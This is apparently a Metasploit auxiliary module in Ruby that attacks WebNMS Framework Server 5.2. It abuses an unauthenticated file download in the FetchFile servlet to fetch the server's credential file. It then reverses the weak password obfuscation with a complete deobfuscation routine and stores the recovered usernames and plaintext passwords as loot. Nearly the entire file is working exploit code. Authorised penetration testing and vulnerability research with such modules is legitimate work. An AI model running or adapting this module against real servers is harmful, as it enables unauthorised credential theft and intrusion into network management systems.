require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super (
update_info(
info,
'Name' => 'WebNMS Framework Server Credential Disclosure' ,
'Description' => %q(
This module abuses two vulnerabilities in WebNMS Framework Server 5 . 2 to extract
all user credentials. The first vulnerability is a unauthenticated file download
in the FetchFile servlet, which is used to download the file containing the user
credentials. The second vulnerability is that the the passwords in the file are
obfuscated with a very weak algorithm which can be easily reversed.
This module has been tested with WebNMS Framework Server 5 . 2 and 5 . 2 SP1 on
Windows and Linux.
),
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>'
],
'License' => MSF_LICENSE ,
'References' =>
[
],
'DisclosureDate' => 'Jul 4 2016'
)
)
register_options(
[
OptPort. new ( 'RPORT' , [ true , 'The target port' , 9090 ]),
OptString. new ( 'TARGETURI' , [ true , "WebNMS path" , '/' ])
],
self . class
)
end
def version_check
begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'servlets' , 'FetchFile' ),
'method' => 'GET' ,
'vars_get' => { 'fileName' => 'help/index.html' }
)
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
Rex::HostUnreachable, Errno:: ECONNRESET => e
vprint_error( "Failed to get Version: #{e.class} - #{e.message}" )
return
end
if res && res.code == 200 && !res.body.empty?
title_string = res.get_html_document.at( 'title' ).to_s
version = title_string.match(/[ 0 - 9 ]+.[ 0 - 9 ]+/)
vprint_status( "Version Detected = #{version}" )
end
end
def run
version_check
begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'servlets' , 'FetchFile' ),
'method' => 'GET' ,
'vars_get' => { 'fileName' => 'conf/securitydbData.xml' }
)
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
Rex::HostUnreachable, Errno:: ECONNRESET => e
print_error( "Module Failed: #{e.class} - #{e.message}" )
end
if res && res.code == 200 && !res.body.empty?
cred_table = Rex::Ui::Text::Table. new (
'Header' => 'WebNMS Login Credentials' ,
'Indent' => 1 ,
'Columns' =>
[
'Username' ,
'Password'
]
)
print_status "#{peer} - Got securitydbData.xml, attempting to extract credentials..."
res.body.to_s.each_line { |line|
if line.include? "username="
username = line.match(/username= "([\w]*)" /)[ 1 ]
end
if line.include? "password="
password = line.match(/password= "([\w]*)" /)[ 1 ]
end
if password && username
plaintext_password = super_redacted_deobfuscation(password)
cred_table << [ username, plaintext_password ]
register_creds(username, plaintext_password)
end
}
print_line
print_line(cred_table.to_s)
loot_name = 'webnms.creds'
loot_type = 'text/csv'
loot_filename = 'webnms_login_credentials.csv'
loot_desc = 'WebNMS Login Credentials'
p = store_loot(
loot_name,
loot_type,
rhost,
cred_table.to_csv,
loot_filename,
loot_desc
)
print_status "Credentials saved in: #{p}"
return
end
end
def super_redacted_deobfuscation(ciphertext)
input = ciphertext
input = input.gsub( "Z" , "000" )
base = '0' .upto( '9' ).to_a + 'a' .upto( 'z' ).to_a + 'A' .upto( 'G' ).to_a
base.push 'I'
base += 'J' .upto( 'Y' ).to_a
answer = ''
k = 0
remainder = 0
co = input.length / 6
while k < co
part = input[( 6 * k), 6 ]
partnum = ''
startnum = false
for i in 0 ... 5
isthere = false
pos = 0
until isthere
if part[i] == base[pos]
isthere = true
partnum += pos.to_s
if pos == 0
if !startnum
answer += "0"
end
else
startnum = true
end
end
pos += 1
end
end
isthere = false
pos = 0
until isthere
if part[ 5 ] == base[pos]
isthere = true
remainder = pos
end
pos += 1
end
if partnum.to_s == "00000"
if remainder != 0
tempo = remainder.to_s
temp1 = answer[ 0 ..(tempo.length)]
answer = temp1 + tempo
end
else
answer += (partnum.to_i * 60 + remainder).to_s
end
k += 1
end
if input.length % 6 != 0
ending = input[( 6 * k)..(input.length)]
partnum = ''
if ending.length > 1
i = 0
startnum = false
for i in 0 ..(ending.length - 2 )
isthere = false
pos = 0
until isthere
if ending[i] == base[pos]
isthere = true
partnum += pos.to_s
if pos == 0
if !startnum
answer += "0"
end
else
startnum = true
end
end
pos += 1
end
end
isthere = false
pos = 0
until isthere
if ending[i + 1 ] == base[pos]
isthere = true
remainder = pos
end
pos += 1
end
answer += (partnum.to_i * 60 + remainder).to_s
else
isthere = false
pos = 0
until isthere
if ending == base[pos]
isthere = true
remainder = pos
end
pos += 1
end
answer += remainder.to_s
end
end
final = ''
for k in 0 ..((answer.length / 2 ) - 1 )
final.insert( 0 , (answer[ 2 * k, 2 ].to_i + 28 ).chr)
end
final
end
def register_creds(username, password)
credential_data = {
origin_type: :service ,
module_fullname: self .fullname,
workspace_id: myworkspace_id,
private_data: password,
private_type: :password ,
username: username
}
service_data = {
address: rhost,
port: rport,
service_name: 'WebNMS-' + (ssl ? 'HTTPS' : 'HTTP' ),
protocol: 'tcp' ,
workspace_id: myworkspace_id
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status:: UNTRIED ,
workspace_id: myworkspace_id
}
login_data.merge!(service_data)
create_credential_login(login_data)
end
end
|